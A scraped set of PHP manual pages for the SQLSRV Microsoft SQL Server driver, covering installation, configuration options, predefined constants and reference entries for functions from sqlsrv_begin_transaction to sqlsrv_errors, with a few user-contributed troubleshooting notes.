The SQLSRV download comes 8 driver files, four of which are for PDO support. If you are running non-thread-safe PHP (PHP 5.3), use the php_sqlsrv_53_nts.dll file. (You should use a non-thread-safe version if you are using IIS as your web server). If you are running thread-safe PHP, use the php_sqlsrv_53_ts.dll file. Similarly for PHP 5.4, use the php_sqlsrv_54_nts.dll or php_sqlsrv_54_ts.dll depending on whether your PHP installation is non-thread-safe or thread-safe.

The most recent version of the driver is available for download here: » SQLSRV 3.0 download. If you need support for PHP 5.2 and/or PHP compiled with VC6, use the 2.0 release of the driver: » SQLSRV 2.0 download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

User Contributed Notes

pier_paolo_manca at yahoo dot it 24-Sep-2012 05:58
Please notice that SQLSRV 2.0 is affected by a serious memory leak. http://social.msdn.microsoft.com/Forums/en-US/sqldriverforphp/thread/7e419559-0d8f-4cea-a2ae-28b71a800f63


Installation

The SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The SQLSRV download comes 8 driver files, four of which are for PDO support. If you are running non-thread-safe PHP (PHP 5.3), use the php_sqlsrv_53_nts.dll file. (You should use a non-thread-safe version if you are using IIS as your web server). If you are running thread-safe PHP, use the php_sqlsrv_53_ts.dll file. Similarly for PHP 5.4, use the php_sqlsrv_54_nts.dll or php_sqlsrv_54_ts.dll depending on whether your PHP installation is non-thread-safe or thread-safe.

The most recent version of the driver is available for download here: » SQLSRV 3.0 download. If you need support for PHP 5.2 and/or PHP compiled with VC6, use the 2.0 release of the driver: » SQLSRV 2.0 download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

The SQLSRV extension is only compatible with PHP running on Windows.

User Contributed Notes

simon 21-Feb-2014 12:48
SQLSRV doesn't use mssql_connect - it is it's own extension, therefore to connect you'd use sqlsrv_connect:

http://www.php.net/manual/en/function.sqlsrv-connect.php
veera3189 at gmail dot com 27-Jan-2014 11:16
i tried the above steps

 but  the following error came

Fatal error: Call to undefined function mssql_connect() in C:\xampp\htdocs\php\1.php on line 12

what to do?
yahya kayhani 02-Jul-2013 11:09
hi dear.
do step by step
1- un comment php_mssql.dll & php_pdo_mssql.dll in php.ini.template file(php directory in software install path)
2- Copy the ntwdblib.dll library from the php directory to the apache/bin directory.
3- Stop and start apache
4- test your mssql with phpinfo() function.
5- finish

Tech & Support by Yahya kayhani (IRAN-RASHT)
support@kws.ir
www.kws.ir


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The following table lists the configuration options available in the SQLSRV extension. For more information about these options, see » Handling SQLSRV Warnings and Errors.

SQLSRV Configure Options
Name | Default | Changeable | Changelog
sqlsrv.WarningsReturnAsErrors | 1 (TRUE) | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSubsystems | 0 | PHP_INI_ALL | Available since SQLSRV 1.0
sqlsrv.LogSeverity | 1 | PHP_INI_ALL | Available since SQLSRV 1.0

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

Connection resource

A connection resource returned by sqlsrv_connect().

Statement resource

A statement resource returned by sqlsrv_query() or by sqlsrv_prepare().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQLSRV_FETCH_ASSOC (integer)
Forces sqlsrv_fetch_array() to return an associative array when passed as a parameter.
SQLSRV_FETCH_NUMERIC (integer)
Forces sqlsrv_fetch_array() to return an array with numeric when passed as a parameter.
SQLSRV_FETCH_BOTH (integer)
Forces sqlsrv_fetch_array() to return an array with both associative and numeric keys when passed as a parameter (the default behavior).
SQLSRV_ERR_ALL (integer)
Forces sqlsrv_errors() to return both errors and warings when passed as a parameter (the default behavior).
SQLSRV_ERR_ERRORS (integer)
Forces sqlsrv_errors() to return errors only (no warnings) when passed as a parameter.
SQLSRV_ERR_WARNINGS (integer)
Forces sqlsrv_errors() to return warnings only (no errors) when passed as a parameter.
SQLSRV_LOG_SYSTEM_ALL (integer)
Turns on logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_CONN (integer)
Turns on logging of connection activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_INIT (integer)
Turns on logging of initialization activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_OFF (integer)
Turns off logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_STMT (integer)
Turns on logging of statement activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_UTIL (integer)
Turns on logging of error function activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ALL (integer)
Specifies that errors, warnings, and notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ERROR (integer)
Specifies that errors will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_NOTICE (integer)
Specifies that notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_WARNING (integer)
Specifies that warnings will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_NULLABLE_YES (integer)
Indicates that a column is nullable.
SQLSRV_NULLABLE_NO (integer)
Indicates that a column is not nullable.
SQLSRV_NULLABLE_UNKNOWN (integer)
Indicates that it is not known if a column is nullable.
SQLSRV_PARAM_IN (integer)
Indicates an input parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_INOUT (integer)
Indicates a bidirectional parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_OUT (integer)
Indicates an output parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PHPTYPE_INT (integer)
Specifies an integer PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_DATETIME (integer)
Specifies a datetime PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_FLOAT (integer)
Specifies a float PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STREAM (integer)
Specifies a PHP stream. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STRING (integer)
Specifies a string PHP data type. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_BINARY (integer)
Specifies that data is returned as a raw byte stream from the server without performing encoding or translation. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_CHAR (integer)
Data is returned in 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This is the default encoding. For usage information, see » How to: Specify PHP Types.
UTF-8 (integer)
Specifies that data is returned with UTF-8 encoding. For usage information, see » How to: Specify PHP Types.
SQLSRV_SQLTYPE_BIGINT (integer)
Describes the bigint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BINARY (integer)
Describes the binary SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BIT (integer)
Describes the bit SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_CHAR (integer)
Describes the char SQL Server data type. This constant works like a function and accepts a parameter indicating the number characters. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATE (integer)
Describes the date SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME (integer)
Describes the datetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME2 (integer)
Describes the datetime2 SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIMEOFFSET (integer)
Describes the datetimeoffset SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DECIMAL (integer)
Describes the decimal SQL Server data type. This constant works like a function and accepts two parameters indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_FLOAT (integer)
Describes the float SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_IMAGE (integer)
Describes the image SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_INT (integer)
Describes the int SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_MONEY (integer)
Describes the money SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NCHAR (integer)
Describes the nchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NUMERIC (integer)
Describes the numeric SQL Server data type. This constant works like a function and accepts two parameter indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR (integer)
Describes the nvarchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR('max') (integer)
Describes the nvarchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NTEXT (integer)
Describes the ntext SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_REAL (integer)
Describes the real SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLDATETIME (integer)
Describes the smalldatetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLINT (integer)
Describes the smallint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLMONEY (integer)
Describes the smallmoney SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TEXT (integer)
Describes the text SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIME (integer)
Describes the time SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIMESTAMP (integer)
Describes the timestamp SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TINYINT (integer)
Describes the tinyint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UNIQUEIDENTIFIER (integer)
Describes the uniqueidentifier SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UDT (integer)
Describes the UDT SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY (integer)
Describes the varbinary SQL Server data type. This constant works like a function and accepts a single parameter indicating the byte count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY('max') (integer)
Describes the varbinary(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR (integer)
Describes the varchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR('max') (integer)
Describes the varchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_XML (integer)
Describes the XML SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_TXN_READ_UNCOMMITTED (integer)
Inidicates a transaction isolation level of READ UNCOMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_READ_COMMITTED (integer)
Inidicates a transaction isolation level of READ COMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_REPEATABLE_READ (integer)
Inidicates a transaction isolation level of REPEATABLE READ. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_SNAPSHOT (integer)
Inidicates a transaction isolation level of SNAPSHOT. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_TXN_READ_SERIALIZABLE (integer)
Inidicates a transaction isolation level of SERIALIZABLE. This value is used to set the TransactionIsolation level in the $connectionOptions arrary passed to sqlsrv_connect().
SQLSRV_CURSOR_FORWARD (integer)
Inidicates a forward-only cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_STATIC (integer)
Inidicates a static cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_DYNAMIC (integer)
Inidicates a dynamic cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_KEYSET (integer)
Inidicates a keyset cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_BUFFERED (integer)
Creates a client-side cursor query. Lets you access rows in any order. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_NEXT (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_PRIOR (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_FIRST (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_LAST (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_ABSOLUTE (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_RELATIVE (integer)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.

User Contributed Notes

There are no user contributed notes for this page.


SQLSRV Functions

Table of Contents

  • sqlsrv_begin_transaction — Begins a database transaction
  • sqlsrv_cancel — Cancels a statement
  • sqlsrv_client_info — Returns information about the client and specified connection
  • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
  • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_configure — Changes the driver error handling and logging configurations
  • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
  • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_fetch_array — Returns a row as an array
  • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
  • sqlsrv_fetch — Makes the next row in a result set available for reading
  • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_free_stmt — Frees all resources for the specified statement
  • sqlsrv_get_config — Returns the value of the specified configuration setting
  • sqlsrv_get_field — Gets field data from the currently selected row
  • sqlsrv_has_rows — Indicates whether the specified statement has rows
  • sqlsrv_next_result — Makes the next result of the specified statement active
  • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
  • sqlsrv_num_rows — Retrieves the number of rows in a result set
  • sqlsrv_prepare — Prepares a query for execution
  • sqlsrv_query — Prepares and executes a query.
  • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
  • sqlsrv_send_stream_data — Sends data from parameter streams to the server
  • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Begins a database transaction

  • « SQLSRV Functions
  • sqlsrv_cancel »
  • PHP Manual
  • SQLSRV Functions
  • Begins a database transaction

sqlsrv_begin_transaction

(No version information available, might only be in Git)

sqlsrv_begin_transaction — Begins a database transaction

Description

bool sqlsrv_begin_transaction ( resource $conn )

The transaction begun by sqlsrv_begin_transaction() includes all statements that were executed after the call to sqlsrv_begin_transaction() and before calls to sqlsrv_rollback() or sqlsrv_commit(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and committ/roll back transactions. For more information, see » SQLSRV Transactions.

Parameters

conn

The connection resource returned by a call to sqlsrv_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_begin_transaction() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
          VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
          SET Quantity = (Quantity - ?)
          WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

The above example will output something similar to:

See Also

  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Cancels a statement

  • « sqlsrv_begin_transaction
  • sqlsrv_client_info »
  • PHP Manual
  • SQLSRV Functions
  • Cancels a statement

sqlsrv_cancel

(No version information available, might only be in Git)

sqlsrv_cancel — Cancels a statement

Description

bool sqlsrv_cancel ( resource $stmt )

Cancels a statement. Any results associated with the statement that have not been consumed are deleted. After sqlsrv_cancel() has been called, the specified statement can be re-executed if it was created with sqlsrv_prepare(). Calling sqlsrv_cancel() is not necessary if all the results associated with the statement have been consumed.

Parameters

stmt

The statement resource to be cancelled.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_cancel() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Sales FROM Table_1";

$stmt = sqlsrv_prepare( $conn, $sql);

if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

if( sqlsrv_execute( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

$salesTotal = 0;
$count = 0;

while( ($row = sqlsrv_fetch_array( $stmt)) && $salesTotal <=100000)
{
     $qty = $row[0];
     $price = $row[1];
     $salesTotal += ( $price * $qty);
     $count++;
}

echo "$count sales accounted for the first $$salesTotal in revenue.<br />";

// Cancel the pending results. The statement can be reused.
sqlsrv_cancel( $stmt);
?>

Notes

The main difference between sqlsrv_cancel() and sqlsrv_free_stmt() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

See Also

  • sqlsrv_free_stmt() - Frees all resources for the specified statement
  • sqlsrv_prepare() - Prepares a query for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the client and specified connection

  • « sqlsrv_cancel
  • sqlsrv_close »
  • PHP Manual
  • SQLSRV Functions
  • Returns information about the client and specified connection

sqlsrv_client_info

(No version information available, might only be in Git)

sqlsrv_client_info — Returns information about the client and specified connection

Description

array sqlsrv_client_info ( resource $conn )

Returns information about the client and specified connection

Parameters

conn

The connection about which information is returned.

Return Values

Returns an associative array with keys described in the table below. Returns FALSE otherwise.

Array returned by sqlsrv_client_info
Key | Description
DriverDllName | SQLNCLI10.DLL
DriverODBCVer | ODBC version (xx.yy)
DriverVer | SQL Server Native Client DLL version (10.5.xxx)
ExtensionVer | php_sqlsrv.dll version (2.0.xxx.x)

Examples

Example #1 sqlsrv_client_info() example

<?php
$serverName = "serverName\sqlexpress";
$connOptions = array("UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connOptions );

if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

if( $client_info = sqlsrv_client_info( $conn)) {
    foreach( $client_info as $key => $value) {
        echo $key.": ".$value."<br />";
    }
} else {
    echo "Error in retrieving client info.<br />";
}
?>

See Also

  • sqlsrv_server_info() - Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Closes an open connection and releases resourses associated with the connection

  • « sqlsrv_client_info
  • sqlsrv_commit »
  • PHP Manual
  • SQLSRV Functions
  • Closes an open connection and releases resourses associated with the connection

sqlsrv_close

(No version information available, might only be in Git)

sqlsrv_close — Closes an open connection and releases resourses associated with the connection

Description

bool sqlsrv_close ( resource $conn )

Closes an open connection and releases resourses associated with the connection.

Parameters

conn

The connection to be closed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_close() example

<?php
$serverName = "serverName\sqlexpres";
$connOptions = array("UID"=>"username", "PWD"=>"password", "Database"=>"dbname");
$conn = sqlsrv_connect( $serverName, $connOptions );
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

//-------------------------------------
// Perform database operations here.
//-------------------------------------

// Close the connection.
sqlsrv_close( $conn );
?>

See Also

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction that was begun with sqlsrv_begin_transaction

  • « sqlsrv_close
  • sqlsrv_configure »
  • PHP Manual
  • SQLSRV Functions
  • Commits a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_commit

(No version information available, might only be in Git)

sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction()

Description

bool sqlsrv_commit ( resource $conn )

Commits a transaction that was begun with sqlsrv_begin_transaction(). The connection is returned to auto-commit mode after sqlsrv_commit() is called. The transaction that is committed includes all statements that were executed after the call to sqlsrv_begin_transaction(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and committ/roll back transactions. For more information, see » SQLSRV Transactions.

Parameters

conn

The connection on which the transaction is to be committed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_commit() example

The following example demonstrates how to use sqlsrv_commit() together with sqlsrv_begin_transaction() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
         VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
         SET Quantity = (Quantity - ?)
         WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

See Also

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Changes the driver error handling and logging configurations

  • « sqlsrv_commit
  • sqlsrv_connect »
  • PHP Manual
  • SQLSRV Functions
  • Changes the driver error handling and logging configurations

sqlsrv_configure

(No version information available, might only be in Git)

sqlsrv_configure — Changes the driver error handling and logging configurations

Description

bool sqlsrv_configure ( string $setting , mixed $value )

Changes the driver error handling and logging configurations.

Parameters

setting

The name of the setting to set. The possible values are "WarningsReturnAsErrors", "LogSubsystems", and "LogSeverity".

value

The value of the specified setting. The following table shows possible values:

Error and Logging Setting Options
Setting | Options
WarningsReturnAsErrors | 1 (TRUE) or 0 (FALSE)
LogSubsystems | SQLSRV_LOG_SYSTEM_ALL (-1) SQLSRV_LOG_SYSTEM_CONN (2) SQLSRV_LOG_SYSTEM_INIT (1) SQLSRV_LOG_SYSTEM_OFF (0) SQLSRV_LOG_SYSTEM_STMT (4) SQLSRV_LOG_SYSTEM_UTIL (8)
LogSeverity | SQLSRV_LOG_SEVERITY_ALL (-1) SQLSRV_LOG_SEVERITY_ERROR (1) SQLSRV_LOG_SEVERITY_NOTICE (4) SQLSRV_LOG_SEVERITY_WARNING (2)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • » SQLSRV Error Handling.
  • » Logging SQLSRV Activity.

User Contributed Notes

smhahmadi 06-Jan-2013 01:23
Performance tip:

Beware of the performance penalty involved with unchecked use of logging options. In my case, although I was using the buffered cursor, sqlsrv_fetch_array was running too slowly. The solution was to remove my lavish use of those configuration options (using both SQLSRV_LOG_SYSTEM_ALL and SQLSRV_LOG_SEVERITY_ALL).


Opens a connection to a Microsoft SQL Server database

  • « sqlsrv_configure
  • sqlsrv_errors »
  • PHP Manual
  • SQLSRV Functions
  • Opens a connection to a Microsoft SQL Server database

sqlsrv_connect

(No version information available, might only be in Git)

sqlsrv_connect — Opens a connection to a Microsoft SQL Server database

Description

resource sqlsrv_connect ( string $serverName [, array $connectionInfo ] )

Opens a connection to a Microsoft SQL Server database. By default, the connection is attempted using Windows Authentication. To connect using SQL Server Authentication, include "UID" and "PWD" in the connection options array.

Parameters

serverName

The name of the server to which a connection is established. To connect to a specific instance, follow the server name with a forward slash and the instance name (e.g. serverName\sqlexpress).

connectionInfo

An associative array that specifies options for connecting to the server. If values for the UID and PWD keys are not specified, the connection will be attempted using Windows Authentication. For a complete list of supported keys, see » SQLSRV Connection Options.

Return Values

A connection resource. If a connection cannot be successfully opened, FALSE is returned.

Examples

Example #1 Connect using Windows Authentication.

<?php
$serverName = "serverName\sqlexpress"; //serverName\instanceName

// Since UID and PWD are not specified in the $connectionInfo array,
// The connection will be attempted using Windows Authentication.
$connectionInfo = array( "Database"=>"dbName");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Example #2 Connect by specifying a user name and password.

<?php
$serverName = "serverName\sqlexpress"; //serverName\instanceName
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Example #3 Connect on a specifed port.

<?php
$serverName = "serverName\sqlexpress, 1542"; //serverName\instanceName, portNumber (default is 1433)
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

if( $conn ) {
     echo "Connection established.<br />";
}else{
     echo "Connection could not be established.<br />";
     die( print_r( sqlsrv_errors(), true));
}
?>

Notes

By default, the sqlsrv_connect() uses connection pooling to improve connection performance. To turn off connection pooling (i.e. force a new connection on each call), set the "ConnectionPooling" option in the $connectionOptions array to 0 (or FALSE). For more information, see » SQLSRV Connection Pooling.

The SQLSRV extension does not have a dedicated function for changing which database is connected to. The target database is specified in the $connectionOptions array that is passed to sqlsrv_connect. To change the database on an open connection, execute the following query "USE dbName" (e.g. sqlsrv_query($conn, "USE dbName")).

See Also

  • sqlsrv_close() - Closes an open connection and releases resourses associated with the connection
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

raul dot 3k at gmail dot com 19-Oct-2012 09:57
In fact, you don't need to inform the instance name in some cases.
When I inform my the instance name of my database server, it's throws an error:
<?php
//...
$serverName = "192.168.0.11\SVDCBD01";
//...
?>
Throws:
[Microsoft][SQL Server Native Client 10.0]SQL Server Network Interfaces: Error Locating Server/Instance Specified [xFFFFFFFF].

And this works as well:
<?php
//...
$serverName = "192.168.0.11";
//...
?>


Returns error and warning information about the last SQLSRV operation performed

  • « sqlsrv_connect
  • sqlsrv_execute »
  • PHP Manual
  • SQLSRV Functions
  • Returns error and warning information about the last SQLSRV operation performed

sqlsrv_errors

(No version information available, might only be in Git)

sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed

Description

mixed sqlsrv_errors ([ int $errorsOrWarnings ] )

Returns error and warning information about the last SQLSRV operation performed.

Parameters

errorsOrWarnings

Determines whether error information, warning information, or both are returned. If this parameter is not supplied, both error information and warning information are returned. The following are the supported values for this parameter: SQLSRV_ERR_ALL, SQLSRV_ERR_ERRORS, SQLSRV_ERR_WARNINGS.

Return Values

If errors and/or warnings occurred on the last sqlsrv operation, an array of arrays containing error information is returned. If no errors and/or warnings occurred on the last sqlsrv operation, NULL is returned. The following table describes the structure of the returned arrays:

Array returned by sqlsrv_errors
Key | Description
SQLSTATE | For errors that originate from the ODBC driver, the SQLSTATE returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of IMSSP. For warnings that originate from the Microsoft Drivers for PHP for SQL Server, a SQLSTATE of 01SSP.
code | For errors that originate from SQL Server, the native SQL Server error code. For errors that originate from the ODBC driver, the error code returned by ODBC. For errors that originate from the Microsoft Drivers for PHP for SQL Server, the Microsoft Drivers for PHP for SQL Server error code.
message | A description of the error.

